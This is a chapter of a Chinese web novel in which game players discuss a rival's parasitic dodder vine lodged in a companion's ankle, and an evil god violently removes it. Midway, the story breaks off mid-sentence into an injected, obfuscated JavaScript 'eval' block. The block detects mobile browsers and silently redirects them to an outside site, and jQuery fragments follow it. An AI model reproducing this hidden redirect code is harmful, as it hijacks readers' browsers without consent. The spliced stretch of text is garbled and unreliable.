第207章 观光小火车(7)

作品:《美人NPC抚慰力满分

    徐队长让其他人在火车里等待,一边关闭直播,连着使用两个防窥隔音屏障。


    接下来他们要谈论的事情属于联合会秘闻,不能对外透露。


    “第七使徒的契约神祇是狄俄尼索斯,古希腊神话中的酒神,也是奥林匹斯十二主神之一。会护佑农业,布施欢乐与歌舞,象征物是葡萄藤。”


    “人神结契,由于双方力量悬殊,神祇一方通常对人有着绝对的压制力。神有什么力量,眷属为了保持信仰纯粹,就只能使用什么力量。”


    “如果遇到阴险狠毒的神祇,自身的力量还会在被压制的过程里缓慢退化,直至消失,让眷属到死都只能依靠祂给予的神力。”


    徐队长盯着宴初一脚踝的藤蔓,脸色自进入副本以来从未有过的严峻:“然而在巅峰以往收集的情报中,第七使徒在和酒神结契的中途,说不上是他的本性还是意志占据上风,竟然压过酒神的葡萄藤,延伸出了自己的特性,即亵渎之藤,菟丝子。”


    人性压过神性——这种事情哪怕在神级玩家频生、怪才鬼杰辈出的辉煌时期,也相当的骇人听闻。


    布莱恩说:“亵渎之藤的攻击力比蚂蚁还低,不会触发身体的霸体被动,但它又有着神级的韧性,所以能用比蚊虫触碰还微弱的力道破开你的皮肤。”


    “看着只有一小段扎在上面,实际比蛛丝还要细小的根系已经断成无数份,流入你的血管和脏腑。只要他一个念头,就会迅速榨**的血肉,化作荆棘穿透身躯。”


    很多人对菟丝子的认识不完全,认为它只能攀附宿主吸取养分维生,脱离宿主就无法独立存活,非常纤弱。


    然而在自然界中,菟丝子是非常可怕的消费者,是植物界的吸血鬼。


    徐队长听出他语气中的异样:“你和他打过交道?那最后你怎么摆脱掉的亵渎之藤?”


    提到这事,布莱恩整张脸黑沉下去:“没有。”


    “什么?”


    布莱恩似乎羞于启齿自己战败的经历,只是看着中招的青年,到底还是深吸一口气,把实情说完整:“我没摆脱。他那时也没杀我。”


    徐队长还没来得及庆幸事有转机,就听到布莱恩咬牙切齿地说道:“他让亵渎之藤游走在我的身体里,控制吸食血肉的速度,和我的血肉再生速度达到一定的平衡,直到七天后副本结束。”


    不是副本结束时第七使徒放过了他,是一出副本


    ,系统就会自动刷新玩家的身体状态,清除埋在他体内的菟丝子。


    徐队长:“……”


    有意识地感受到自己被活生生吃了七天的血和肉,这听着比死还恐怖。


    繁殖能力强,蔓延性强,看似纤弱无害的误导性,还会断枝重生。


    第七使徒的亵渎之藤继承了菟丝子所有棘手歹毒的特性,没有宿主能摆脱它,一旦被寄生,就是必死的结局。


    难怪金发雇佣兵对宴初一能活下来这件事,完全不抱希望。


    徐队长抬头看向布莱恩:“你觉得我们通过交涉,让第七使徒收回寄生物的可能性有多大?”


    布莱恩摇了摇头:“那家伙的性格非常恶劣,如果是以前还没内讧的使徒公会,或许会迫于规矩,放人一马。”


    “至于现在,他连联合会长的命令都能熟视无睹,行事也越来越乖张疯狂,甚至在副本里杀死过其他使徒。不知道为什么还没有被公会除名,或许是他不想走,上面的人也不敢开口将他驱逐。”


    布莱恩脸色难看:“凭我对他的了解,如果他知道自己的藤蔓误伤了人,不仅不会有半点愧疚心理,还会非常高兴有送上门奴役的玩物。”


    好久没有说话的青年开了口:“其实我……”


    “想也别想。”


    鉴于宴初一有丢下他们独自赴死的前科,徐队长斩钉截铁地打断道:“你不要太担心,谢叙白是你的契约神祇,祂能活跃在这个副本里,未必没有解救你的办法。”


    开什么玩笑,他们好不容易才把濒死的青年从死神手里抢回来。


    如今的青年可以说是队伍里大部分人的心灵寄托,一旦出事那还得了!


    徐队长站起身,绞尽脑汁,急得在原地打转:“难道就没有东西可以克制第七使徒的能力?不,一定有……”


    “如果很疼,我可以帮**感知。”布莱恩看向宴初一,指尖绽放出细小的电流。


    “……”宴初一道,“其实我想说,我没事。”


    布莱恩愈发不忍心。


    他平时没那么容易共情,也没那么体贴下细,纯粹是想起过往的崩溃感同身受,说话都和气不少:“你不用逞强,我知道那有多么痛苦。别担心兄弟,我们会想办法救下你,相信我,我以雷神的名义起誓。”


    轰隆隆——!


    话音未落,阴暗的天空就响起一道惊天动地的雷鸣。


    宴初一:“……”


    布莱恩和徐队长:“……


    布莱恩兀自镇定道:“看,神认同了我的话。


    宴初一没想到雇佣兵傲慢的外表下还藏着一颗诙谐幽默的心,难怪说第一印象最能唬人,哭笑不得地说:“我真的没事,你们忘记金龙给我施加了庇护吗?


    谢叙白没说谎,他确实没事。


    只是刚中招的情况也确实非常凶险。


    徐济两人说第七使徒的神力在十二使徒中并不突出,只是能力难缠,近战缠身叫人猝不及防。


    但这种情况是可以用远程攻击规避的,菟丝子无法摆脱宿主独立行动,吃过教训的布莱恩自信能在不被阴的情况下,隔着几千米的距离把第七使徒电成焦炭。


    神级玩家亦有差距,如果分三档,第七使徒大抵只能排中间。


    再往上是高级,半神,最后获得神格,晋升为真神。


    谢叙白现在就属于半神级别。


    照理说,他能随便抵挡神级玩家的攻击,就如同布莱恩不能伤及瘦长鬼影分毫。


    谁能想到,藤蔓从皮肉中钻出,谢叙白的意识海也跟着传出一阵尖锐的刺痛,仿佛有什么东西顺着分魂宴初一与他的精神链接破土而出。


    这并非普通的攻击,它竟然跨越了规则直接伤及他的本体。


    谢叙白顷刻间意识到,能破除规则之力的第七使徒至少是个半神!


    电光火石间,金龙的S级护体屏障猛然暴起,愤怒的龙吟似山呼海啸,在菟丝子的根系扎入谢叙白的意识海之前,就将它隔空震碎。


    可下一秒,绿茵茵的藤蔓又出现于谢叙白的脚踝,竟是瞬间断尾求生,转移阵地!


    谢叙白的反应速度也不慢。


    他像是对这些藤蔓很熟悉,脑子还在琢磨该怎么下手,本能就已经催动他不留余力地释放精神力。


    猛烈的精神力过五关斩六将,呈放射冲击状涤荡全身上下!眨眼间血肉震颤,再细小的藤蔓也被连根拔起,一根根地退到脚踝处,圈在寸指大小的范围。


    欲要将它们


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17281787|130163||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    彻底逼出体内的时候,谢叙白微微停顿,若有所思。


    既然同为寄生系的零件生物会在走投无路的时候自爆,难保亵渎之藤会不会狗急跳墙和他同归于尽。


    再则,这个所谓的第七使徒,不久后很有可能成为他们的劲敌。


    或许他可以保留一截藤蔓,制造被完全寄生的假象,以此来迷惑对手放松警惕?


    虽然铤


    而走险,但百试百灵。


    只是这一念头刚从脑海中划过。


    对面的斗篷人突然抬起脑袋,张嘴没什么感情地:“哇哦。


    谢叙白不知怎么的,眉头狠狠一跳,连忙往后看,被大片的黑雾糊了满脸。


    “宴朔?你怎么,等等……


    邪神躯壳仍旧没有折射出识念。


    但祂却如同拥有清晰的逻辑思维,黑雾化作手掌,蒙住谢叙白的眼睛,又伸出一根触手在他后脑勺安抚地拍拍。


    谢叙白尚未反应过来,脚踝的菟丝子就被黑雾连根拔起,疼得他低低地闷哼一声。


    再抬头,一株不断扭动的黄绿色藤蔓被涌动的黑雾卷起。


    藤蔓想要逃脱,被黑雾如掐捏待宰羔羊般摁死,顷刻间表面胀开透明狰狞的鼓包,连带着下面蛛网般密集的根系,瞬间被绞成齑粉!


    于是副本里还在半信半疑的徐济两人,惊喜地看见前一秒还活蹦乱跳的菟丝子,下一秒像是被毒懵了一样,啪嗒一下从青年脚踝抽出,掉在地上,绿茵茵的藤蔓如枯草般迅速灰败下去。


    他们以为是金龙庇护发挥效果,不无庆幸:“真的有效!


    宴初一却说不出话。


    水墨空间,空气中蔓延开湿冷的咸腥气,如暴雨将至,海潮上涌,沉重压抑的压迫感漫上心头。


    黑雾越来越浓郁,越来越密集,眨眼间就在凉亭铺了一地。


    邪神躯壳被规则拒绝在外,原本只分出一小部分,以不惊动规则的姿态偷偷渗入,不会有什么问题。


    现如今强行将自己分解成这种程度,硬生生地往里挤,相当于为了让敌人放下戒心自断一臂,带着重伤潜伏敌营,不知道会受到什么负面影响。


    谢叙白担心极了,努力扒开成片包裹住他的黑雾,看向空间裂缝:“宴朔,停下来,我没……


    声音戛然而止。


    不知何时,邪神躯壳的瞳孔紧缩成野兽般的针状,和他对上视线,猩红得仿佛要滴血。


    狰狞粗壮的触手不断翻涌,化作源源不断的雾气渗入水墨空间,一路碎石飞溅,碾出深深的沟壑,缓慢地朝棋桌爬去。


    为什么人类总是在受伤。


    为什么人类总是在忍痛。


    为什么那些蝼蚁如此弱小、卑贱,却都敢来伤害祂的人类?


    是因为我什么都没做,只是在这里看着吗?


    为什么我只是看着?


    因为人类口中的……规则。


    笑话。


    祂什么时候遵守过规则?!


    邪神躯壳不理解,祂甚至无法清晰地分辨出这些念头。


    所有念头混乱地糅合在一起,在看到藤蔓从青年脚踝钻出来的瞬间,化作一股强烈的、无法压制的烈火,烧穿胸口,扎透心脏,反复来回,直至千疮百孔。


    祂感觉自己濒临忍耐的极致。


    祂环抱着祂的人类,凭本能堵住那张试图劝阻祂的嘴,将自己疯狂地分散又分散,一点点将规则的阻力瓦解撕碎,踏上那不受邀的棋桌。